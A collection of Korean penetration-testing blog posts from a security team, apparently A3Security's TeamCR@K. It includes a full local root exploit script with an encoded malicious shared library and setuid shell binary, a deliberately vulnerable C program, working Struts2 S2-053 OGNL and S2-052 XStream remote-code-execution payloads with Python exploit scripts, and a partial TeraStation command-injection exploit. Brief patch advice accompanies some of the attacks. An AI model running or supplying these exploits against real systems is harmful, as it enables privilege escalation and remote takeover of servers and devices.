정대근 보안기술팀장 (A.K.A 1ndr4)

indra@a3security.com


우리는 지금까지 중요한 포인트 2개를 살펴보았습니다.


● GCC syntax를 사용한 Constructor의 구현

● 선적재 라이브러리


위 과정에서 공유라이브러리의 Constructor의 구현 역시 가능하다는 것을 알 수 있었습니다. 지금까지 알아본 내용을 토대로 실제 exploit이 어떻게 구현이 가능한지 실 예를 통해 말씀 드려볼까 합니다.


(1) N.Korea RedStar 2.0 Incorrect permission local root exploit


지난 2012년 저희 TeamCR@K이 블로그에 포스팅 했던 글 중 북한 리눅스 '붉은별' 권한 상승 취약점을 살펴보고자 합니다. 글을 포스팅 했던 당시 내부 지침에 의해 exploit의 전체 내용을 공유드리지는 못했지만, 시일이 많이 흐른 관계로 해당 내용을 조금 더 자세하게 공유하도록 하겠습니다.



exploit은 C 버전과 Perl 버전이 존재하며, exploit 환경은 Comment 영역에 기록해 두었습니다.


붉은별 리눅스는 배포과정에서 공유라이브러리의 파일 퍼미션이 777(-rwxrwxrwx) 형태로 존재하여 기타 사용자가 해당 공유 라이브러리의 내용을 Overwrite 할 수 있는 환경이었습니다. 따라서 root 권한의 setuid bit가 설정되어 있는 대표적인 유틸리티 중 하나인 /bin/ping을 대상으로 참조되는 라이브러리를 파악했고, 네트워크 관련 라이브러리인 libresolv.so의 내용을 Overwrite하는 것으로 설정하였습니다.


exploit의 Perl 버전은 미리 컴파일 된 공유라이브러리와 쉘을 실행시키는 코드를 bzip2 압축형태로 사용했고, C 버전은 근본이 되는 C코드를 넣어 직접 컴파일 하도록 구현했었습니다. 이 때 공격에 사용될 라이브러리로 만든 코드에 Constructor 속성을 가지도록 하여 root 권한의 setuid bit가 설정된 프로그램 실행 시, root 권한의 쉘을 먼저 실행하도록 구성했습니다. 


[그림 1] C버전 exploit 중 Constructor 속성을 가진 라이브러리 함수 사용 루틴


exploit을 통해 조작된 libresolv.so 라이브러리가 로드 될 때, Constructor 속성을 가진 init() 함수가 먼저 실행되므로 init() 함수 안에서 system() 함수를 통해 사용된 /bin/bash 실행이 끝난 이 후 /bin/ping의 프로그램이 정상적으로 실행되는 것을 알 수 있습니다.   


[그림 2] 라이브러리의 Constructor 속성을 이용한 exploit


(2) Insecure file creation vulnerability


root 권한으로 파일을 생성할 때, 생성되는 파일의 소유 권한을 고려하지 않고 코드를 작성하는 경우 보안 취약점이 발생할 수 있습니다. 아래의 코드는 실제 저희 TeamCR@K이 모의해킹 도중 권한 상승 취약점을 이용했던 케이스로 취약점 발생 포인트만 재 구현해서 설명 드리고자 합니다.


/*

* vuln.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example code for insecure file creation vulnerability

*/

#include <stdio.h>

#include <dirent.h>


int main(int argc, char **argv)

{

        FILE *fp = NULL;

        char logfile[1024];


        snprintf(logfile, sizeof(logfile), "logs/%s.log", argv[0]);


        if((fp = fopen(logfile, "a+")) != NULL) {

                fputs("Write log contents!\n", fp);

                fclose(fp);

        }

        return 0;

}


위 코드는 다수개의 보안 취약점을 내포하고 있지만, 제일 큰 문제가 되는 것은 생성되는 파일의 기본 소유권한에 대해 검증하지 않는 코드라는 것입니다. 파일을 실행하면, logs 디렉터리에 프로그램 이름의 문자열을 따서 로그파일을 생성합니다. 그러나 파일 생성 시 파일 소유 권한을 지정할 수 없는 fopen() 함수를 이용하여 보안 취약점에 노출 될 수 있습니다.

다음 화면은 위 보안 취약점이 내포된 프로그램을 어떤 형태로 조작이 가능한지 테스트 해 본 화면입니다.


[그림 3] umask 를 이용해 파일 생성 시 소유 권한 조작


위 프로그램은 생성되는 파일에 대한 적절한 검증 절차가 존재하지 않아 umask를 이용해 생성되는 파일의 기본 소유 권한을 변경할 수 있고, 또한 로그파일 이름 자체가 프로그램명(Argument Value)과 연계되므로 원본 파일에 새로운 이름으로 symbolic link를 생성하여 symbolic link의 이름으로 실행한다면 로그파일 이름도 조작이 가능합니다. 

기본적으로 우리가 이제까지 공부한 Constructor 개념과 /etc/ld.so.preload의 선적재 라이브러리의 특성을 이용하면 위 보안 취약점을 이용한 권한 상승 exploit의 작성이 가능할 듯 합니다.


공격을 위한 기본 시나리오는 아래와 같습니다.


1. 쉘 실행 바이너리 생성 (/tmp/.teamcrak-root)

2. /tmp/.teamcrak-root 파일을 root 권한으로 변경하고 setuid 퍼미션을 세팅할 악의적인 공유라이브러리를 Constructor 속성을 가지도록 생성 (/tmp/evil.so)

3. 로그파일을 /etc/ld.so.preload 파일로 symbolic link 생성

4. vuln 실행

5. /etc/ld.so.preload 파일 생성 확인

6. /etc/ld.so.preload 파일에 /tmp/evil.so 문자열 Overwrite

7. root 권한의 setuid 파일 실행

8. /tmp/.teamcrak-root 파일에 root 권한의 setuid bit 설정 유무 확인

9. /tmp/.teamcrak-root 파일 실행 (root 권한 획득)


다음은 위 시나리오를 기반으로 쉘 스크립트 형태로 작성한 exploit 입니다.


#!/bin/sh

TARGET="/etc/ld.so.preload"

EVIL_BIN="/tmp/evil.so"

ROOTSHELL="/tmp/.teamcrak-root"

WORKDIR="/home/indra/Project/ld.so.preload/stage3"

VICTIM="vuln"

LOGFILE="${WORKDIR}/logs/TeamCRAK.log"


echo "###########################################################################"

echo "#####          Local root exploit for vulnerability example           #####"

echo "#####                                      - Insecure file creation - #####"

echo "#####                                                                 #####"

echo "#####                                                     2018.02.03  #####"

echo "#####                            Exploited by TeamCR@K in A3Security  #####"

echo "#####                                                                 #####"

echo "###########################################################################"


rm -rf ${EVIL_BIN}*

# ##################### 32BIT shared object binary

# #define ROOT "teamcrak-root\

# const char *rs = "/tmp/." ROOT;

# void __attribute__((constructor)) init(void) {

# setgid(0); setuid(0); chown(rs, 0, 0); chmod(rs, 06777); }

echo -ne "\x42\x5A\x68\x39\x31\x41\x59\x26\x53\x59\x96\xAD\xA2\x87\x00\x01\

\x67\x7F\xEF\xFF\xFF\xFE\x96\xC2\x6B\xE4\x08\x57\x44\x48\x48\xBF\

\xEF\xFE\x64\xC0\xA2\x14\x00\x41\x68\x0C\x62\x72\x68\x28\x4C\x23\

\x01\xB0\x01\x95\x81\x68\x34\x41\x53\x6C\xA8\xD0\x07\xA8\x00\x7A\

\x8D\x0F\x50\x7A\x9A\x00\xD0\x00\x06\x8D\x1E\xA0\x34\x07\xA4\xF4\

\x98\x9E\xA3\xD4\x22\x98\x99\x27\xA9\x3D\x34\x9B\x46\x80\x23\x4C\

\x4C\x8C\x09\xE8\x11\x80\x8C\x01\xA8\xD3\x26\x99\x0D\x0C\x9A\x0D\

\x31\x02\x44\xA2\x99\x94\x68\x1A\x26\x68\x00\x13\x13\x4C\x09\x93\

\x4C\x01\x0C\x4F\x51\x88\x62\x64\xC2\x69\xA6\x4D\x32\x60\xA6\x55\

\x04\x4A\x06\x10\xD2\x11\x05\x70\x50\x51\x8F\x20\xC5\x7E\x98\x51\

\x6A\x51\x73\x8C\xD1\x79\x8A\x8B\x75\x8E\x80\x30\xC8\x14\x5E\x19\

\x16\x30\x00\xD0\xB4\xA2\x14\x52\x81\x8B\x51\x07\xA6\x5F\x9E\x03\

\xF4\xF2\xB0\x5C\x7C\xEE\x5C\x40\x9C\xEB\x71\x56\xAC\x90\xFB\xCE\

\x64\x31\xD4\xE5\xB6\xD4\xA9\x89\x69\x7F\x52\xE6\x85\xED\x74\xE4\

\x4F\x34\x96\xB4\x85\x4E\xBE\x02\x18\x91\x3B\x06\xD2\x6D\x26\xD2\

\x4D\xA6\xD2\x6C\x26\x82\x0A\x11\x03\x60\xDD\x63\x64\x46\xDC\x91\

\x23\x21\xB7\x0D\x37\x62\xC5\x41\xA1\x0F\x22\x00\x2E\x98\x05\xFB\

\x3D\x6C\x57\x0D\x0A\xD1\x85\x1D\x58\x58\xF5\x76\xFD\xFB\x15\x77\

\x68\x80\x6D\x4C\x79\x56\xCA\x24\x5B\xA6\x6B\x60\x2B\x69\x0D\x16\

\x8A\x2C\xFB\x9A\x3A\xA3\x26\x86\x60\x4A\x38\x9B\x5E\x8E\xD3\x0B\

\xE6\x4E\xD0\xAB\x1D\xC3\x41\x5E\xCA\x89\xA1\x7A\x5A\x03\x29\xAB\

\x1C\x88\xF0\xE3\x80\xC4\x4E\x9D\x36\x99\x84\xA4\x95\x85\x27\x42\

\x7E\xFA\x72\x8A\xC1\xA3\xE8\xCD\xE6\x1F\x57\xA5\x2F\xC2\x4A\xDE\

\x0A\xE9\x0A\xB5\x7D\x92\x52\x76\x51\x09\x98\xF0\xE9\xA2\x92\x1C\

\x86\xC3\x85\x9B\x49\xEB\x32\x9F\x9A\x34\x05\x21\x02\x67\xC1\xA2\

\xC8\x74\xC7\x36\xCB\x1A\x90\x1A\x26\x59\x9A\x3D\xD4\xD0\x42\x39\

\x59\x70\x01\xF2\x8D\x03\x8C\x08\x98\xC3\xC0\xEF\xDA\x24\xB9\x13\

\xFA\x45\x80\x6B\x91\x25\x0A\x76\x64\x30\x53\x6C\xD9\x61\x1F\xC5\

\x56\x6C\x36\xB6\xF4\xE7\x5B\x28\x36\xF1\x17\xC0\x53\x79\x85\x10\

\x06\x22\xFA\x8E\xB0\x50\xE7\x32\x11\x58\x75\x24\x5E\x95\xC5\x6D\

\x2A\x95\x24\xCE\x70\xA3\x8F\x0A\xAC\x75\x56\x17\xA8\x81\xEA\x91\

\x25\x7B\x16\x9F\x9D\x16\xA4\x3F\x68\x89\x0F\x58\x4A\x72\xCB\xFE\

\x2E\xE4\x8A\x70\xA1\x21\x2D\x5B\x45\x0E" > ${EVIL_BIN}.bz2

bzip2 -d ${EVIL_BIN}.bz2


echo -ne "\x7F\x45\x4C\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\

\x02\x00\x03\x00\x01\x00\x00\x00\x54\x80\x04\x08\x34\x00\x00\x00\

\x94\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x28\x00\

\x03\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\

\x00\x80\x04\x08\x81\x00\x00\x00\x81\x00\x00\x00\x05\x00\x00\x00\

\x00\x10\x00\x00\x31\xDB\x89\xD8\xB0\x2E\xCD\x80\x31\xDB\x89\xD8\

\xB0\x17\xCD\x80\xEB\x0D\x5B\x31\xD2\x89\xD0\x52\x53\x89\xE1\xB0\

\x0B\xCD\x80\xE8\xEE\xFF\xFF\xFF\x2F\x62\x69\x6E\x2F\x73\x68" > ${ROOTSHELL}


if [ -f ${ROOTSHELL} ]; then

        if [ -f ${EVIL_BIN} ]; then

                echo "[*] Preparing environment: OK!"

        else

                echo "[!] No such ${EVIL_BIN}"

                break;

        fi

else

        echo "[!] No such ${ROOTSHELL}"

        break;

fi


# Creation a symbolic link

rm -rf ${LOGFILE}; ln -sf ${TARGET} ${LOGFILE}

rm -rf TeamCRAK; ln -sf ${WORKDIR}/${VICTIM} TeamCRAK


# setup umask

umask 0000


./TeamCRAK 2>/dev/null &


if [ -f ${TARGET} ]; then

        echo "${EVIL_BIN}" > ${TARGET} 2>/dev/null

        break;

fi

ping 2>/dev/null 1>/dev/null


if [ -u "${ROOTSHELL}" ]; then

        echo "[*] Exploit Successfully!~"

        echo "[*] Voila~ r00t sh3LL!"

        echo "" > ${TARGET}

        ${ROOTSHELL}

else

        echo "[*] Exploit failed."

fi


다음은 위 exploit을 통해 실제로 root 권한의 쉘을 획득하는 화면입니다.


[그림 4] 안전하지 않은 파일 생성 취약점을 통한 로컬 권한 상승


위 exploit 구현 중 쉘을 실행하는 ELF 바이너리와 공유 라이브러리는 파일 사이즈를 극도로 최소화 하는 과정을 거쳤는데, 해당 내용은 저희 TeamCR@K에서 예전에 포스팅 했던 다음 페이지에서 살펴보실 수 있습니다.



보신바와 같이 프로그램에서 생성되는 파일의 소유 권한이 악용되는 경우 이를 어떻게 통제할 수 있을까요?

fopen() 과 같이 생성되는 파일의 소유 권한을 정의할 수 없는 경우라면, umask() 함수를 이용해 생성되는 파일의 소유 권한을 초기화 하고 사용 할 수 있을 것 입니다.

다음 화면은 fopen() 함수 사용 이전, umask() 를 사용해 파일 소유 권한을 초기화 한 후 생성된 파일을 확인하는 화면입니다.


[그림 5] umask() 함수 사용을 통한 파일 생성 시 소유 권한 초기화 결과


setuid bit가 걸린 프로그램은 프로세스 실행 도중 권한이 변경되어 작용하므로 생성되는 파일 관리에도 각별한 주의를 필요로 합니다.

자! 지금까지 저희 TeamCR@K이 준비한 "Exploit Writing Technique"이 마무리가 되었습니다.
재미있게 보셨는지 모르겠습니다. :)
저희 팀은 올해 더 다양한 분야에 대한 연구나 기반기술에 대한 연구를 진행할 예정입니다.
비록 업무가 바빠 블로그에 많은 신경을 쓰지는 못했지만 올해에는 조금 더 다양한 자료로 자주 찾아뵐 것을 약속드리며, 
의문사항이나 지적사항은 댓글이나 a3_crak@a3security.com 으로 메일 보내드시면 감사하겠습니다! ;-)

읽어주셔서 감사합니다!


daesun8292@a3security.com

TeamCR@K

황대선 선임컨설턴트


취약점 번호 : CVE-2017-12611(S2-503)

영향받는 버전 : Struts 2.0.1 - Structs2.3.33 , Struts 2.5 - Struts 2.5.10

영향받지 않는 버전 : Struts 2.5.12, Struts 2.3.32


개요

 - Apache Struts2 에서 임의 코드 실행이 가능한 취약점이 발견


내용

 - FreeMakrer 태그의 잘못된 구성으로 사용할 때 요청 값에 원격 코드 실행이 가능한 취약점

 - 매개 변수에 Rewrite가 되도록 %{} 구문을 사용하여 전송하는 경우에 해당 구문이 실행됨.


Freemarker 란?

 - 프리마커는 자바 서블릿을 위한 오픈소스 HTML 템플릿 엔진이다.

 - 프리마커에서는 HTML을 템플릿으로 저장하는데 이들은 결국 템플릿객체로 컴파일 된다. 

 - 프리마커 객체들은 서블릿에서 제공하는 데이터들을 이용하여 HTML을 동적으로 생성한다.


Freemarker 구조

 - FreeMarker는 표현의 결과물을 HTML(템플릿)로 관리하고 여기에 자바 객체를 연결하여 최종적인 결과를 만들어낸다.

[그림 1] Freemarker 구조


Poc

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream(),"GBK"))}


freemarker 취약점이 존재하는 환경 구성을 진행하였습니다.

[그림 2] freemarker 취약점이 존재하는 환경 구성


name 파라미터에 입력 후 value 값에 ${}로 출력하는 소스코드를 확인하였습니다.

[그림 3] freemarker취약점이 존재하는 소스코드 확인


웹 프록시를 이용하여 GET -> POST로 바꾼 후 name 파라미터 값에 %25{100-3} 삽입 시 결과 값으로 97이 출력되는 것을 확인하였습니다.

[그림 4] 취약점 테스트 확인


공격구문을 URL 인코딩 후 접근할 경우 RCE(Remote Command Execution)가 발생하는 것을 확인하였습니다.

[그림 5] RCE발생 확인


Python 소스코드

# -*- coding:utf-8 -*-

import sys

import requests

from urllib import quote


def exploit(url,cmd):

    payload = "%{"

    payload += "(#_='multipart/form-data')."

    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."

    payload += "(#_memberAccess?"

    payload += "(#_memberAccess=#dm):"

    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."

    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."

    payload += "(#ognlUtil.getExcludedPackageNames().clear())."

    payload += "(#ognlUtil.getExcludedClasses().clear())."

    payload += "(#context.setMemberAccess(#dm))))."

    payload += "(#cmd='%s')." % cmd

    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."

    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."

    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."

    payload += "(#p.redirectErrorStream(true))."

    payload += "(#process=#p.start())."

    payload += "(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}."

    payload += "}"

 

    data={

        "name" : payload,

        }

    print(data)


if __name__ == "__main__":

    if len(sys.argv)!= 3:

           print "Usage S2-053.py <url> <cmd>" %(sys.argv[0])

           sys.exit(0)

 

    print "[*] exploit Apache Struts2 S2-053"

    url = sys.argv[1]

    cmd = sys.argv[2]

 

    exploit(url, cmd)


[그림 6] 작성한 공격코드 실행


프록시를 통해 공격구문을 입력하여 접근 시, strace 를 통해 분석하였습니다. (요청 값 확인)

[그림 7] 요청 값 확인


[그림 8] /usr/bash 명령어 실행


[그림 9] /usr/sbin/ifconfig 명령어 실행


[그림 10] ifconfig 명령어 응답


대응 방안

 - 취약점에 영향을 받지 않는 버전으로 업데이트 수행(Apache Struts 2.5.12, Apache Struts 2.3.34)

 - 읽기만 가능한 속성을 이용하여 value 값 초기화(getter 속성에 한하여)

 - freemarker 미사용

dkgang@a3security.com

TeamCR@K
강다경 컨설턴트 (A.K.A 따구)


1. 취약점 개요

Apache struts2에서 REST Plugin을 이용해 통신할 때 공격자가 임의의 명령어를 전송할 경우 데이터에 대해 체크 없이 deseriallize되어 서버에서 해당 명령어가 실행이 되는 RCE(Remote Code Execute)가 가능한 취약점 입니다.


2. 영향을 받는 제품 및 버전

  - Apache Struts 2.1.2~2.3.33

  - Apache Struts 2.5~2.5.12


3. PoC 테스트 환경

 Server(victim) - 192.168.44.135

  - CentOS Linux 7

  - Apache Tomcat 7.0

  - Apache Struts 2.3.15.1

 Client(Attacker) - 192.168.44.134

  - Kali Linux 4.9


4. PoC 테스트

먼저 GET에서 POST로 method를 변경한뒤,

header 에 Content-Type 을 application/xml 로,

Data에 XML payload를 삽입하여 요청패킷을 전송합니다.

이번 테스트는 서버에서 firefox가 실행되도록 명령어를 전송하였습니다.


[그림 1] payload전송 - 1


[그림 2] payload전송 - 2


서버에서 RCE(Remote Code Execute)가 발생하여 firefox가 실행되는 것을 확인하였습니다.

[그림 3] RCE로 firefox실행 확인


payload를 이용하여 다음과 같이 공격코드를 작성하였습니다.

import requests

import sys


def exploit(url, cmd):

    url = url

    cmd = "".join(["<string>{0}</string>".format(_) for _ in cmd.split(" ")])

    payload = """

<map>

  <entry>

    <jdk.nashorn.internal.objects.NativeString>

      <flags>0</flags>

      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

        <dataHandler>

          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

            <is class="javax.crypto.CipherInputStream">

              <cipher class="javax.crypto.NullCipher">

                <initialized>false</initialized>

                <opmode>0</opmode>

                <serviceIterator class="javax.imageio.spi.FilterIterator">

                  <iter class="javax.imageio.spi.FilterIterator">

                    <iter class="java.util.Collections$EmptyIterator"/>

                    <next class="java.lang.ProcessBuilder">

                      <command>

                        {0}

                      </command>

                      <redirectErrorStream>false</redirectErrorStream>

                    </next>

                  </iter>

                  <filter class="javax.imageio.ImageIO$ContainsFilter">

                    <method>

                      <class>java.lang.ProcessBuilder</class>

                      <name>start</name>

                      <parameter-types/>

                    </method>

                    <name>foo</name>

                  </filter>

                  <next class="string">foo</next>

                </serviceIterator>

                <lock/>

              </cipher>

              <input class="java.lang.ProcessBuilder$NullInputStream"/>

              <ibuffer/>

              <done>false</done>

              <ostart>0</ostart>

              <ofinish>0</ofinish>

              <closed>false</closed>

            </is>

            <consumed>false</consumed>

          </dataSource>

          <transferFlavors/>

        </dataHandler>

        <dataLen>0</dataLen>

      </value>

    </jdk.nashorn.internal.objects.NativeString>

    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>

  </entry>

  <entry>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

  </entry>

</map>

""".format(cmd)

    headers = {

        'Referer': str(url),

        'Content-Type': 'application/xml',

        'Accept': '*/*'

    }

    timeout = 3

    try:

        output = requests.post(url, data=payload, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text

    except Exception as e:

        print("@@EXCEPTION:" + str(e))

        output = 'ERROR'

    return(output)



if __name__ == '__main__':

    if len(sys.argv) != 3:

        print "usage:python %s <url> <cmd>"%(sys.argv[0])

        sys.exit(0)


    print "[*] exploit Apache Struts2 S2-052"

    url = sys.argv[1]

    cmd = sys.argv[2]


    print "[*] URL:%s" %url

    print "[*] CMD:%s" %cmd


    exploit(url, cmd)


작성한 코드를 이용하여 정상적으로 Reverse Connection이 가능한 것을 확인하였습니다.

[그림 4] 공격코드를 이용해 Reverse Connection가능 확인


5. 조치 방법

 - Struts 2.5.13 혹은 2.3.34 버전으로 업그레이드

 - 사용하지 않는 REST 플러그인 삭제

 - XML 지원 삭제


6. patche 분석

Rest Plug-in 구성을 살펴보았습니다.

[그림 5] Rest Plug-in 구성 확인


patche 전 버전과 patche 후 버전의 XstreamHandler.class를 비교해 보았습니다.

XML 문서의 데이터가 XStream desrialization을 하는 동안 방지하기 악의적인 명령이 실행되는 것을 방지 하기 위해 허용목록이 지정되어 있습니다.

[그림 6] S2-052 취약점 패치 전, 후버전의 XstreamHandler.class 비교


7. 참조

https://struts.apache.org/docs/s2-052.html

https://medium.com/@0x00pentester/apache-struts2-rce-cve-2017-9805-4c6f58b622cb


날씨가 점점 더워지고 있습니다~

요즘 사무실 내부에서는 에어컨을 풀가동 시키고 있네요.

날씨도 더운데 일하랴 개인연구 하랴 바쁜 가운데 2013년 상반기의 TeamCR@K 내부 활동 정리해 보았습니다~


2013년 상반기에는 각종 프로젝트가 끊이지 않아서 개인 연구나 기타 공동 연구작업이 원활치 않았습니다.

그 와중에도 개인시간을 내어 버그헌팅을 하고 exploit 제작을 하거나, 프로젝트에 투입 중간에도 솔루션의 취약점을 찾아 0day exploit을 만든적도 있었습니다.


다음은 저희 TeamCR@K에서 금년 2013년 상반기 버그헌팅 및 0day exploit 작성과 관련한 내역을 정리한 것입니다.


Date 

Exploit Name 

Classification 

 Summary

 2013.02.22

 DoubleQuarterPounderCheese-130222.c

 0day

 Buffalo TeraStation TS5800D Command Injection Vulnerability Exploit

 2013.05.24

 XE-LFI-1day_fr33p13.py

 1day

 Zeroboard XE Local File Inclusion Vulnerability (From KISA, 2013.05.13)

 2013.05.31

 ********-insecure_file_creation.pl

 0day

 Local root exploit ${PROTECTED_COMMAND} command in ${PROTECTED_SOLUTION}

 2013.05.31

 ********-symlink_follow.sh

 0day

 Local root exploit ${PROTECTED_COMMAND} command in ${PROTECTED_SOLUTION}

 2013.06.10

 hurse.sh

 0day

 Remote Command execution exploit ${PROTECTED_COMMAND} in ${PROTECTED_SOLUTION}

 2013.06.11

 -

 0day

 Buffalo TeraStation TS5800D Remote Command Execution Vulnerability


* Buffalo TeraStation TS5800D Command Injection Vulnerability Exploit


Buffalo에서 만든 TeraStation이라는 NAS 서버에서 취약점을 발견하여 이를 자동화 하는 exploit을 구현했었습니다.

NAS라는 내부장비에서 root 권한의 명령어를 실행 할 수 있는 취약점으로 버그헌팅 당시 NAS 솔루션의 외부 침입 위험을 진단하는 관점보다는 스마트폰의 Jail Break와 같은 관점으로 버그헌팅을 시작했었습니다.


exploit 이름이 DoubleQuarterPounderCheese.c 인 이유는 exploit 작성 당시.. 야식으로 맥**드의 버거를 먹었다는 후문이... ^^;


본 취약점과 관련해서는 다음 URL에서 상세한 내용을 확인 할 수 있습니다.


http://teamcrak.tistory.com/365


* Zeroboard XE Local File Inclusion Vulnerability (From KISA, 2013.05.13)


2013년 5월 13일 KISA 홈페이지를 통해 Zeroboard XE 관련 LFI 취약점에 대해 패치권고가 올라왔었습니다.

당시 TeamCR@K 김모군(fr33p13)은 패치된 코드를 디핑하여 취약점 내용을 구현하는 테스트를 진행했었습니다.

어찌어찌해서 웹 쉘을 올리는 코드가 실행되고 이에 대해 파이썬으로 자동화 exploit을 구현까지 했었네요.


본 취약점과 관련해서는 다음 URL에서 상세한 내용을 확인 할 수 있습니다.


http://teamcrak.tistory.com/369


* Multiple Vulnerabilities in SOLUTION


본 내용은 모의해킹 수행 중 발견한 솔루션 0day 취약점으로 Local privilege escalation 취약점 2종과 Remote command execution 취약점 1종을 발견하고, 이와 관련하여 exploit을 작성 및 별도의 보고서를 고객사로 송부하였습니다.





원격명령실행 취약점과 관련한 exploit은 초기 이름이 hurse.sh 였는데..

동일 프로젝트에 소속된 정모군과 박모군이 이미 권한상승취약점에 대한 exploit을 작성하고 난 이후..

정모군曰 "오! 이거 될 것 같다. 오늘 내가 이거 원격 명령 실행 취약점 나오면 exploit한다"고 했더니..

이 말을 들은 박모군이 이랬답니다.



허세 작렬! 허세 작렬! 허세 작렬! 허세 작렬! 허세 작렬!


...

그 말에 빡친 정모군은 후일 hurse.sh라고 이름 붙인 exploit을 팀원 모두에게 공유했는데 나중에 박모군은 "허세 아닌 패기"라며 발뺌했다고 하네요!


Unix/Linux 서버용 daemon을 만들고 이를 유지보수 할 때에는 여러모로 보안에 신경써야 하는 부분이 많습니다.

특히 Port를 열고 통신을 하는 daemon의 경우 보안취약점이 존재할 경우 해당 취약점을 자동으로 공격하는 스크립트로 대량의 서버접근권한을 탈취당할 수 있고 이런 서버들은 불법적인 공격에 이용당할 수 있습니다.

솔루션의 경우에는 정식 빌드 이전이나 정식 서비스 오픈 이전, 이러한 보안취약점들을 사전에 차단할 수 있도록 보안성검토와 같은 작업을 통해 보안취약점들을 걸러낼 수 있습니다.


* Buffalo TeraStation TS5800D Remote Command Execution Vulnerability


해당 취약점은 아직 exploit까지는 만들어지지 않았지만 SSL 통신을 하는 NAS의 특정 바이너리 형태를 그대로 소스코드로 복원하여 root 권한의 명령어를 실행시킬 수 있는 취약점이라고 합니다. 자세한 사항은 추후 exploit을 작성 한 후 블로그에 올리도록 하겠습니다.


프로젝트로 심신이 고달픈 가운데 개인연구에 힘 쓰는 TeamCR@K 멤버들이 있네요.

날씨도 더운데 몸 상하지 않게 오래오래 같이 연구했으면 좋겠습니다~

Buffalo TeraStation TS5800D Command Injection Vulnerability


TeamCR@K


개요

Buffalo는 일본의 솔루션 개발업체이며, 리눅스 시스템을 개량하여 다양한 스토리지 솔루션을 판매하고 있는 회사입니다.

해당 Buffalo에서 판매하고 있는 스토리지 솔루션 중 NAS 장비인 TeraStation 기종에서 악의적인 명령을 수행 할 수 있는 취약점이 발견되었습니다.


상세설명

발견된 취약점은 관리자 로그인 상태에서 특정 메뉴를 통해 접근할 때 발생하는 것으로써, 외부의 악의적인 공격자로 인해 공격당할 위험은 존재하지 않습니다.

테스트 된 버전은 Buffalo TeraStation TS5800D 기종이며, 해당 취약점으로 공개되지 않은 시스템 관리자(root) 권한을 획득할 수 있습니다.



[그림 1] 정상적으로 동작하는 네트워크 기능 메뉴


취약한 메뉴는 ping 명령을 수행한 결과를 그대로 출력 창에 출력하는 형태로 해당 메뉴 인자를 조작하여 시스템 명령어를 수행할 수 있습니다.



[그림 2] 메뉴 수행 조작을 통해 최상위 디렉터리 구조를 출력하는 화면



[그림 3] 웹 어플리케이션 실행 권한이 관리자인 root 권한으로 실행


웹 어플리케이션이 시스템 관리자 권한인 root 권한으로 수행되기 때문에 시스템 설정파일들을 변경하여 인증 없이 관리자 권한의 쉘을 획득 할 수 있습니다.



[그림 4] 인증없이 시스템 root 권한의 shell을 획득


다음은 본 취약점을 공격하도록 자동화 된 exploit을 만들어 수행한 화면입니다.


[그림 5] 취약점 exploit 실행 화면


다음은 위 exploit 코드의 일부입니다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <getopt.h>

#include <netdb.h>

#include <sys/socket.h>


#define PROT_NAME "jsonrpc"

#define PROT_VER "2.0"

#define BANNER \

"  - Buffalo TeraStation TS5800D Command Injection Vulnerability Exploit -\n\n"\

"  Author: TeamCR@K in A3Security\n"\

"  Date: 22/02/2013\n\n"


const char *crlf = "\x0D\x0A\x0D\x0A";

char cookie[1024] = "Cookie: lang=ko;";


>>-- snip --<<


printf(

"[*] Target: %s\n"

"[*] User ID: %s\n"

"[*] User Password: %s\n", target, id, pw);


printf("[+] Login to NAS server..... ");

if((sid = do_login(target, id, pw)) == NULL) {

goto failed;

}

printf(

"ok!\n"

"[*] Session ID: %s\n", sid);

snprintf(cookie + strlen(cookie), sizeof(cookie) - strlen(cookie), 

" username=%s; sid=%s;", id, sid);


printf("[+] Injecting commands.\n");


>>-- snip --<<


int cmd_inject(const char *target, const char *cmd, const char *sid)

{

int i = 0, s = 0, n = 0, retry = 3, executed = -1, isdone = 0;

struct sockaddr_in addr;

char *ptr = NULL;

char postdata[4096];

char sendpkt[8192], recvpkt[1024];

unsigned char jobid[128];


// ***** Sending a command

snprintf(postdata, sizeof(postdata),  

"{"

"\"%s\":\"%s\","

"\"method\":\"network.ping\","

"\"params\":{\"ipaddress\":\"%s%s\",\"sid\":\"%s\"},"

"\"id\":\"1361425584418\""

"}", PROT_NAME, PROT_VER, target, cmd, sid);

snprintf(sendpkt, sizeof(sendpkt), 

HEADER, cookie, strlen(postdata), postdata);

if((s = socket_set(target, &addr, 80)) < 0) {

goto failed;

}

if(send(s, sendpkt, strlen(sendpkt), 0) < 0) {

printf("[!] send() error\n");

goto failed;

}

if(strip_header(s) != 200) {

printf("[!] Illegal HTTP header\n");

